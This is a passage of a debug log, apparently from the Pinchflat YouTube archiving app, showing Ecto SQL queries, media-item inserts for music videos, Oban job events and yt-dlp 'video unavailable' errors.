m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 10:01:25Z], 1] 22:20:59.414 [debug] QUERY OK source="media_items" db=189.9ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "ac476012-5d65-4f09-911e-9d7023756950", false, "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", 4, "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, false, 1, [], 2, ~U[2026-05-22 10:01:25Z], ~U[2026-07-24 02:20:59Z], ~U[2026-07-24 02:20:59Z], "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, 1, ~U[2026-05-22 10:01:25Z]] 22:20:59.418 [debug] QUERY OK source="sources" db=3.6ms idle=191.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:59.419 [debug] QUERY OK source="media_profiles" db=0.4ms idle=195.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:59.420 [debug] QUERY OK source="media_items" db=0.5ms idle=196.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 22:20:59.420 [debug] Current batch of media processed. Will check again in 1000ms 22:21:00.224 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 253, "filename" => "/downloads/Grift/Grift/2011-04-22Hellsing - Primo Victoria[txcBzY01FiE].m4a", "id" => "txcBzY01FiE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=txcBzY01FiE", "playlist_index" => 18, "timestamp" => 1303483630, "title" => "Hellsing - Primo Victoria", "upload_date" => "20110422"} 22:21:00.224 [debug] QUERY OK source="sources" db=0.2ms idle=810.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:00.224 [debug] QUERY OK source="sources" db=0.1ms idle=806.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:00.225 [debug] QUERY OK source="media_items" db=0.1ms idle=806.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2011-04-22 14:47:10Z], 4] 22:21:00.250 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:00.307 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8huYQbPK9pI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4c/44/4c441f6d5f92bb1939940806dfc9a7dfb6316e57d91f0ab7fd01838885e9db12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 8huYQbPK9pI: Video unavailable. This video is not available 22:21:00.307 [error] yt-dlp download error for media item #181: "ERROR: [youtube] 8huYQbPK9pI: Video unavailable. This video is not available\n" 22:21:00.308 [error] yt-dlp download will not be retried: "ERROR: [youtube] 8huYQbPK9pI: Video unavailable. This video is not available\n" 22:21:00.420 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "duration" => 146, "filename" => "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", "id" => "Wq4UaL6Tq5w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "playlist_index" => 5, "timestamp" => 1612398399, "title" => "Evangelion 「AMV」 - washing machine heart", "upload_date" => "20210204"} 22:21:00.422 [debug] QUERY OK source="sources" db=1.3ms idle=196.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:00.422 [debug] QUERY OK source="media_items" db=197.4ms idle=805.3ms INSERT INTO "media_items" AS m0 ("title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hellsing - Primo Victoria", "13087fe8-55c0-4952-a218-c7d7bc0fffa5", false, "txcBzY01FiE", 253, false, "https://www.youtube.com/watch?v=txcBzY01FiE", 18, "/downloads/Grift/Grift/2011-04-22Hellsing - Primo Victoria[txcBzY01FiE].m4a", false, false, 4, [], 1, ~U[2011-04-22 14:47:10Z], ~U[2026-07-24 02:21:00Z], ~U[2026-07-24 02:21:00Z], "", "Hellsing - Primo Victoria", "txcBzY01FiE", 253, false, "https://www.youtube.com/watch?v=txcBzY01FiE", "/downloads/Grift/Grift/2011-04-22Hellsing - Primo Victoria[txcBzY01FiE].m4a", false, 4, ~U[2011-04-22 14:47:10Z]] 22:21:00.423 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=172.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:00.423 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:00.424 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=0.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-02-04 00:26:39Z], 1] 22:21:00.424 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:00.424 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138] 22:21:00.425 [debug] Current batch of media processed. Will check again in 1000ms 22:21:00.485 [info] GET /sources/1/media/19 22:21:00.485 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "19", "source_id" => "1"} Pipelines: [:browser] 22:21:00.566 [debug] QUERY OK source="media_items" db=141.5ms idle=0.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "845fe781-354b-476a-987a-1b5c4e571cee", false, "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", 5, "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, false, 1, [], 1, ~U[2021-02-04 00:26:39Z], ~U[2026-07-24 02:21:00Z], ~U[2026-07-24 02:21:00Z], "hi!! pls watch it on 1080p!!\n\ni have mixed feelings with this tbh, it took me a lot of time but idk if I really like it lol\n\nalso if you're going to watch evangelion, prepare yourself for a huge existencial crisis.\n\nsong: washing machine heart by mitski\nplease do not repost my video!", "Evangelion 「AMV」 - washing machine heart", "Wq4UaL6Tq5w", 146, false, "https://www.youtube.com/watch?v=Wq4UaL6Tq5w", "/downloads/Nightcore/Nightcore/2021-02-04Evangelion 「AMV」 - washing machine heart[Wq4UaL6Tq5w].m4a", false, 1, ~U[2021-02-04 00:26:39Z]] 22:21:00.566 [debug] QUERY OK source="sources" db=0.4ms idle=141.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:00.567 [debug] QUERY OK source="media_profiles" db=0.2ms idle=141.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:00.567 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 22:21:00.567 [debug] Current batch of media processed. Will check again in 1000ms 22:21:00.589 [debug] QUERY OK source="media_items" db=103.8ms idle=61.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 22:21:00.589 [debug] QUERY OK source="tasks" db=0.1ms idle=22.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [19] 22:21:00.590 [debug] QUERY OK source="sources" db=0.1ms idle=22.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:00.590 [debug] QUERY OK source="settings" db=0.1ms idle=22.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:00.590 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:00.590 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:00.591 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:00.592 [info] Sent 200 in 107ms 22:21:00.826 [info] {"args":{"id":181},"id":210,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2923144,"event":"job:stop","queue_time":16259744,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:00.869 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Vz4djMTVIoA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/63/0a/630a5aa29189590f0fc7df631ad81e038621403ddb24cdb6e904b8e94688a828.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Vz4djMTVIoA: Video unavailable. This video is not available 22:21:00.869 [error] yt-dlp download error for media item #184: "ERROR: [youtube] Vz4djMTVIoA: Video unavailable. This video is not available\n" 22:21:00.939 [error] yt-dlp download will not be retried: "ERROR: [youtube] Vz4djMTVIoA: Video unavailable. This video is not available\n" 22:21:00.939 [info] {"args":{"id":187},"id":212,"meta":{},"system_time":1784859660939624594,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:01.075 [info] {"args":{"id":184},"id":211,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3221589,"event":"job:stop","queue_time":15613709,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:01.231 [info] {"args":{"id":189},"id":213,"meta":{},"system_time":1784859661231620896,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:01.232 [debug] QUERY OK source="media_items" db=0.2ms idle=405.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [189] 22:21:01.232 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:01.232 [debug] QUERY OK source="sources" db=0.2ms idle=293.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:01.233 [debug] QUERY OK source="media_profiles" db=0.2ms idle=157.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:01.233 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [189] 22:21:01.233 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [189] 22:21:01.269 [debug] QUERY OK source="media_items" db=329.1ms idle=349.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [187] 22:21:01.269 [debug] QUERY OK source="media_profiles" db=35.4ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", 